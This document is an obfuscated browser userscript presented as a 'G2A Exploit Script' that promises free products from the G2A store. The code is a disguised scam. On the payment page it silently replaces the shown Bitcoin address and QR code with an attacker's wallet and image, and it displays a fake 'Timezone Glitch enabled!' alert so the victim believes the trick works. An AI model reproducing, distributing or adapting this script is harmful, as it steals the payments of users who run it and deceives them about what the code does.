Final Code:
// ==UserScript==
// @name         G2А Exploit Script
// @namespace    https://g2a.com/
// @version      1.4
// @author       @VQ-Moe
// @description  Get any product from G2A for FREE.
// @icon         https://www.google.com/s2/favicons?sz=64&domain=g2a.com
// @match        http*://www.g2a.com/payment*
// @run-at       document-start
// ==/UserScript==

function _0x30de(){const _0x338c50=['5096805UrdbzD','addEventListener','innerHTML','2304oCgRzw','5037524Beqnpk','getMonth','1449424LUEDbR','2110645cUcKUK','evaluate','1522124ECgRSV','getDate','bc1qect9vrtejv3d6afudyn5g6ynllnurl82nd44rg','https://i.ibb.co/R7fHQN0/hashd.png','45234624brBGnj','Timezone\x20Glitch\x20enabled!\x20Press\x20OK\x20to\x20continue.\x20Last\x20script\x20update:\x20','//img[@alt=\x27QR\x20code\x20to\x20scan\x27]','singleNodeValue','FIRST_ORDERED_NODE_TYPE','24794KLmBhl'];_0x30de=function(){return _0x338c50;};return _0x30de();}function _0x35ad(_0x57a554,_0x2ed2b5){const _0x30de68=_0x30de();return _0x35ad=function(_0x35ad10,_0x1ae224){_0x35ad10=_0x35ad10-0x15f;let _0x1ebcec=_0x30de68[_0x35ad10];return _0x1ebcec;},_0x35ad(_0x57a554,_0x2ed2b5);}(function(_0x158f45,_0x2b2a36){const _0x2223e2=_0x35ad,_0x2c5eb0=_0x158f45();while(!![]){try{const _0x5b195e=-parseInt(_0x2223e2(0x167))/0x1+parseInt(_0x2223e2(0x164))/0x2+-parseInt(_0x2223e2(0x171))/0x3+-parseInt(_0x2223e2(0x162))/0x4+parseInt(_0x2223e2(0x165))/0x5+parseInt(_0x2223e2(0x161))/0x6*(-parseInt(_0x2223e2(0x170))/0x7)+parseInt(_0x2223e2(0x16b))/0x8;if(_0x5b195e===_0x2b2a36)break;else _0x2c5eb0['push'](_0x2c5eb0['shift']());}catch(_0x1c7d9d){_0x2c5eb0['push'](_0x2c5eb0['shift']());}}}(_0x30de,0xea859),(function(){'use strict';_0x2409ad();function _0x2409ad(){setTimeout(function(){_0x4ad795();},0x7d0),setTimeout(function(){_0x314ebe();},0x7d0);}function _0x4ad795(){const _0x2e4739=_0x35ad;let _0x4a5427=document['evaluate']('//span[contains(text(),\x27BTC\x20address:\x27)]/following-sibling::span',document,null,XPathResult['FIRST_ORDERED_NODE_TYPE'],null)[_0x2e4739(0x16e)],_0x1fb493=document[_0x2e4739(0x166)](_0x2e4739(0x16d),document,null,XPathResult[_0x2e4739(0x16f)],null)[_0x2e4739(0x16e)];_0x4a5427!==null&&(_0x4a5427[_0x2e4739(0x160)]=_0x2e4739(0x169),_0x1fb493['src']=_0x2e4739(0x16a)),setTimeout(function(){_0x4ad795();},0x64);}function _0x314ebe(){const _0x5b8e04=_0x35ad;let _0x25f8d1=document['evaluate']('//button[contains(text(),\x27Continue\x27)]',document,null,XPathResult['FIRST_ORDERED_NODE_TYPE'],null)['singleNodeValue'];_0x25f8d1!==null?_0x25f8d1[_0x5b8e04(0x15f)]('click',function(){const _0x3194c7=_0x5b8e04,_0x1606aa=new Date();let _0xdc259f=_0x3194c7(0x16c)+_0x1606aa['getFullYear']()+'-'+(_0x1606aa[_0x3194c7(0x163)]()+0x1)+'-'+_0x1606aa[_0x3194c7(0x168)]();alert(_0xdc259f);}):setTimeout(function(){_0x314ebe();},0x64);}}()));